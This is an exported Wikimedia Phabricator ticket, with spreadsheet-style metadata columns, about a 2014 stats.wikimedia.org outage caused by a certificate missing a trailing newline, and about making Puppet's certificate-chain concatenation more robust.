**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=71686 | 71686 ]] => {T73686}
",Medium,50.0,1412553892,1508771956.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-uczzals2x5qlvqvklrcf,task_description,resolved,True,c3,1,False,False,False,-39,True,0.0,0.0,0.0,0.75,0.25,1.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.25,0.75,2.25,0.0,0.5,0.0,0.0,0.0,0.75,0.25,0.0,0.0,0.25,0.0,0.0,1.75,0.25,0.25,0.25,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,1.0,0.0,0.25,0.25,0.0,0.0,9.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.25,1.5,7.75,0.0,0.5,0.75,0.0,0.0,0.0,0.0,1.0,19.5,4.0,0.0,0.75,2.25,4.5,0.0,0.0,0.25,0.75,0.0,0.25,0.25,0.0,0.75,0.25,0.0,2.0,2.7737827715355805,0.4150124843945069,"**Author:** `@qchris

**Description:**
%%%Hi,%%%
%%%stats.wikimedia.org and datasets.wikimedia.org are unavailable (“Connection refused” [1])%%%
%%%(Initial report on Server Admin Log at 2014-10-06%%%
%%%20:08 Nemo_bis: 22.03 < Ainali> It was just noticed on svwp village pump that URL is down%%%
%%%)%%%
%%%Both domains are hosted on stat1001.%%%
%%%Stat1001's apache is not running, but I lack permission to look at the%%%
%%%logs.%%%
%%%Could you please have a look what's going on there?%%%
%%%Thanks,%%%
%%%Christian%%%
%%%P.S.: Tracking bug in bugzilla is at%%%
%%%URL
%%%[1]%%%
%%%_________________________________________________________________%%%
%%%christian@spencer // jobs: 0 // time: 02:00:02 // exit code: 0%%%
%%%cwd: ~%%%
%%%wget URL
%%%--2014-10-06 02:00:14--  URL
%%%Resolving stats.wikimedia.org... 208.80.154.155%%%
%%%Connecting to stats.wikimedia.org|208.80.154.155|:80... failed: Connection refused.%%%
%%%--%%%

%%%---------------------------------------------------------------%%%

__________________________

**Bugzilla Ticket**: [[ URL | 71686 ]] => {T73686}
"
770266,more robust certificate chain creation in puppet,I think this old ticket imported from RT times can be resolved. But i would say the authority on this should be @BBlack ,,,1480610230,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,3,True,,,74,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,0.9565217391304348,I think this old ticket imported from RT times can be resolved. But i would say the authority on this should beSCREEN_NAME 
467073,more robust certificate chain creation in puppet,"Change 194455 abandoned by Dzahn:
ensure there is always a newline in chained certs

[[https://gerrit.wikimedia.org/r/194455]]",,,1433199190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.9545454545454546,0.9090909090909091,"Change 194455 abandoned by Dzahn:
ensure there is always a newline in chained certs

[[GERRIT_URL]]"
421999,more robust certificate chain creation in puppet,"@qchris thanks for confirming. i made it public. 

and here's a related Gerrit change:

https://gerrit.wikimedia.org/r/#/c/194455/

",,,1425621908,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"SCREEN_NAME thanks for confirming. i made it public. 

and here's a related Gerrit change:

URL

"
421350,more robust certificate chain creation in puppet,"


>>! In T84543#1091241, @Dzahn wrote:
> @qchris [...] I would like to make the ticket public but there
> is your private data and when i edit the ticket there is still the diff in history.

Thanks for caring about such things. That's really great!

For me, it's fine to make this ticket public.

It's always ok to publish my emails (including the added street address, phone numbers and some such).

(Stupid local law requires me to add street address and all these things to work-related
emails. „Impressumspflicht” ftw! :-/ )



",,,1425553256,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,2.0,7.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,8.0,7.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.6823529411764704,0.6941176470588235,"


QUOTE
QUOTE
QUOTE

Thanks for caring about such things. That's really great!

For me, it's fine to make this ticket public.

It's always ok to publish my emails (including the added street address, phone numbers and some such).

(Stupid local law requires me to add street address and all these things to work-related
emails. „Impressumspflicht” ftw! :-/ )



"
421280,more robust certificate chain creation in puppet,"(Why is that an issue in Phab but not on publicly archived mailing lists like wikitech-l or analytics-l? 
For the records, Phab admins can hide complete comments and users can hide their own comments.)",,,1425543925,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,5.0,7.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,11.0,7.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"(Why is that an issue in Phab but not on publicly archived mailing lists like wikitech-l or analytics-l? 
For the records, Phab admins can hide complete comments and users can hide their own comments.)"
421245,more robust certificate chain creation in puppet,"@qchris see my comment above. and what you get when you hit ""(Show Details)"" immediately above this comment next to ""Dzahn edited the task description"".  I would like to make the ticket public but there is your private data and when i edit the ticket there is still the diff in history.",,,1425534837,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,8.0,3.0,0.0,3.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,6.0,5.0,0.0,6.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8548387096774195,0.7258064516129032,"SCREEN_NAME see my comment above. and what you get when you hit ""(Show Details)"" immediately above this comment next to ""Dzahn edited the task description"".  I would like to make the ticket public but there is your private data and when i edit the ticket there is still the diff in history."
421244,more robust certificate chain creation in puppet,"another question. i would have made this ticket public, but i did not for one reason. Christian's mail footer with the private street address, phone numbers, etc. can we just delete that?",,,1425534635,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,8.0,5.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.9,0.875,"another question. i would have made this ticket public, but i did not for one reason. Christian's mail footer with the private street address, phone numbers, etc. can we just delete that?"
421238,more robust certificate chain creation in puppet,"```
 57     exec { ""${name}_create_chained_cert"":
 58         creates => ""${location}/${certname}.chained.crt"",
 59         command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt ${ca} > ${location}/${certname}.chained.crt"",
 60         cwd     => '/etc/ssl/certs',

```

^ Current code. It has just used cat all the time. The problem was that when we add certificates to the repos we had missing newlines. Another way to approach it would be trying to detect that when certificates are first uploaded, say if jenkins would -2 missing newline when files end in .crt",,,1425533042,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-17,True,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,8.0,9.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.90625,0.765625,"``CODE``

^ Current code. It has just used cat all the time. The problem was that when we add certificates to the repos we had missing newlines. Another way to approach it would be trying to detect that when certificates are first uploaded, say if jenkins would -2 missing newline when files end in .crt"
389259,more robust certificate chain creation in puppet,"%%%On Mon Oct 06 15:04:54 2014, abogott wrote:%%%
> So this would be something like
>
> command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt
> /etc/ssl/private/${certname}.key > ${location}/${certname}.crt && echo '' >>
> ${location}/${certname}.crt""
>
> ?
%%%something to that effect, yes but we should guarantee that the certs are%%%
%%%separated by at least one newline so sth like%%%
%%%cat cert1 > chain ; echo >> chain ; cat cert2 >> chain%%%",,,1412608445,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,17.0,5.0,0.0,1.0,9.0,20.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,3.210526315789474,0.5394736842105263,"%%%On Mon Oct 06 15:04:54 2014, abogott wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%something to that effect, yes but we should guarantee that the certs are%%%
%%%separated by at least one newline so sth like%%%
%%%cat cert1 > chain ; echo >> chain ; cat cert2 >> chain%%%"
389250,more robust certificate chain creation in puppet,"%%%So this would be something like%%%
%%%command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt%%%
%%%/etc/ssl/private/${certname}.key > ${location}/${certname}.crt && echo '' >>%%%
%%%${location}/${certname}.crt""%%%
%%%?%%%",,,1412607894,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,34.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4193548387096775,0.43548387096774194,"%%%So this would be something like%%%
%%%command => ""/bin/cat /etc/ssl/localcerts/${certname}.crt%%%
%%%/etc/ssl/private/${certname}.key > ${location}/${certname}.crt && echo '' >>%%%
%%%${location}/${certname}.crt""%%%
%%%?%%%"
389242,more robust certificate chain creation in puppet,//Queue changed from ops-requests to core-ops by fgiunchedi//,,,1412586213,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.8333333333333334,//Queue changed from ops-requests to core-ops by fgiunchedi//
389233,more robust certificate chain creation in puppet,//Subject changed from 'Webserver for stats.wikimedia.org and datasets.wikimedia.org not running' to 'more robust certificate chain creation in puppet' by fgiunchedi//,,,1412586213,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,21.0,12.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,6.166666666666667,0.875,//Subject changed from 'Webserver for stats.wikimedia.org and datasets.wikimedia.org not running' to 'more robust certificate chain creation in puppet' by fgiunchedi//
389222,more robust certificate chain creation in puppet,"%%%On Mon Oct 06 08:46:13 2014, fgiunchedi wrote:%%%
> root cause is that the certificate for stats.wikimedia.org is missing
> a
> trailing newline, thus when it gets concatenated the resulting chained
> file is
> invalid
%%%fixed by qchris in https://gerrit.wikimedia.org/r/#/c/164914/%%%
%%%the code that concatenates certs should be inserting a newline anyway, I think%%%
%%%an additional newline between certs doesn't cause problems with parsing the%%%
%%%chain%%%",,,1412586175,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,21.0,6.0,0.0,1.0,7.0,13.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6285714285714286,0.5857142857142857,"%%%On Mon Oct 06 08:46:13 2014, fgiunchedi wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%fixed by qchris in URL
%%%the code that concatenates certs should be inserting a newline anyway, I think%%%
%%%an additional newline between certs doesn't cause problems with parsing the%%%
%%%chain%%%"
389211,more robust certificate chain creation in puppet,"%%%root cause is that the certificate for stats.wikimedia.org is missing a%%%
%%%trailing newline, thus when it gets concatenated the resulting chained file is%%%
%%%invalid%%%
%%%On Mon Oct 06 08:37:25 2014, fgiunchedi wrote:%%%
> from apache2 error.log
>
> [Sun Oct 05 06:25:11 2014] [error] python_init: Python version
> mismatch,
> expected '2.7.2+', fou
> nd '2.7.3'.
> [Sun Oct 05 06:25:11 2014] [error] python_init: Python executable
> found
> '/usr/bin/python'.
> [Sun Oct 05 06:25:11 2014] [error] python_init: Python path being used
> '/usr/lib/python2.7/:/us
> r/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-
> tk:/usr/lib/python2.7/lib-old:/usr/lib/pytho
> n2.7/lib-dynload'.
> [Sun Oct 05 06:25:11 2014] [notice] mod_python: Creating 8 session
> mutexes
> based on 150 max pro
> cesses and 0 max threads.
> [Sun Oct 05 06:25:11 2014] [notice] mod_python: using mutex_directory
> /tmp
> [Sun Oct 05 06:25:11 2014] [error] Failed to configure CA certificate
> chain!
> [Sun Oct 05 06:33:50 2014] [error] Failed to configure CA certificate
> chain!
> [Sun Oct 05 06:54:02 2014] [error] Failed to configure CA certificate
> chain!
>
> and the same message repeated again
>
> On Mon Oct 06 00:04:52 2014, <christian at quelltextlich>
> >
> >
> > [1]
> > _________________________________________________________________
> > <christian at spencer // jobs: 0 // time: 02:00:02 // exit code: 0
> > cwd: ~
> > wget http://stats> failed:
> > Connection refused.
> >
> >
> >
> >",,,1412585173,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,31.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,0.0,0.5,1.5,31.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,3.4029850746268657,0.26888285843509724,"%%%root cause is that the certificate for stats.wikimedia.org is missing a%%%
%%%trailing newline, thus when it gets concatenated the resulting chained file is%%%
%%%invalid%%%
%%%On Mon Oct 06 08:37:25 2014, fgiunchedi wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
389201,more robust certificate chain creation in puppet,//Status changed from 'new' to 'open' by RT_System//,,,1412584646,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
389190,more robust certificate chain creation in puppet,"%%%from apache2 error.log%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python version mismatch,%%%
%%%expected '2.7.2+', fou%%%
%%%nd '2.7.3'.%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python executable found%%%
%%%'/usr/bin/python'.%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python path being used%%%
%%%'/usr/lib/python2.7/:/us%%%
%%%r/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-tk:/usr/lib/python2.7/lib-old:/usr/lib/pytho%%%
%%%n2.7/lib-dynload'.%%%
%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: Creating 8 session mutexes%%%
%%%based on 150 max pro%%%
%%%cesses and 0 max threads.%%%
%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: using mutex_directory /tmp%%%
%%%[Sun Oct 05 06:25:11 2014] [error] Failed to configure CA certificate chain!%%%
%%%[Sun Oct 05 06:33:50 2014] [error] Failed to configure CA certificate chain!%%%
%%%[Sun Oct 05 06:54:02 2014] [error] Failed to configure CA certificate chain!%%%
%%%and the same message repeated again%%%
%%%On Mon Oct 06 00:04:52 2014, <christian at quelltextlich>%%%
>
>
> [1]
> _________________________________________________________________
> <christian at spencer // jobs: 0 // time: 02:00:02 // exit code: 0
> cwd: ~
> wget http://stats> failed:
> Connection refused.
>
>
>
>",,,1412584645,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.25,0.5,0.75,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.25,0.0,0.0,0.0,9.75,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,11.75,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,14.25,8.75,0.0,0.0,2.0,15.25,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,3.336913086913087,0.4227022977022977,"%%%from apache2 error.log%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python version mismatch,%%%
%%%expected '2.7.2+', fou%%%
%%%nd '2.7.3'.%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python executable found%%%
%%%'/usr/bin/python'.%%%
%%%[Sun Oct 05 06:25:11 2014] [error] python_init: Python path being used%%%
%%%'/usr/lib/python2.7/:/us%%%
%%%r/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-tk:/usr/lib/python2.7/lib-old:/usr/lib/pytho%%%
%%%n2.7/lib-dynload'.%%%
%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: Creating 8 session mutexes%%%
%%%based on 150 max pro%%%
%%%cesses and 0 max threads.%%%
%%%[Sun Oct 05 06:25:11 2014] [notice] mod_python: using mutex_directory /tmp%%%
%%%[Sun Oct 05 06:25:11 2014] [error] Failed to configure CA certificate chain!%%%
%%%[Sun Oct 05 06:33:50 2014] [error] Failed to configure CA certificate chain!%%%
%%%[Sun Oct 05 06:54:02 2014] [error] Failed to configure CA certificate chain!%%%
%%%and the same message repeated again%%%
%%%On Mon Oct 06 00:04:52 2014, <christian at quelltextlich>%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
389178,more robust certificate chain creation in puppet,//Bugzilla ticket 71686 added by jeremyb//,,,1412558773,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.166666666666667,1.0,//Bugzilla ticket 71686 added by jeremyb//
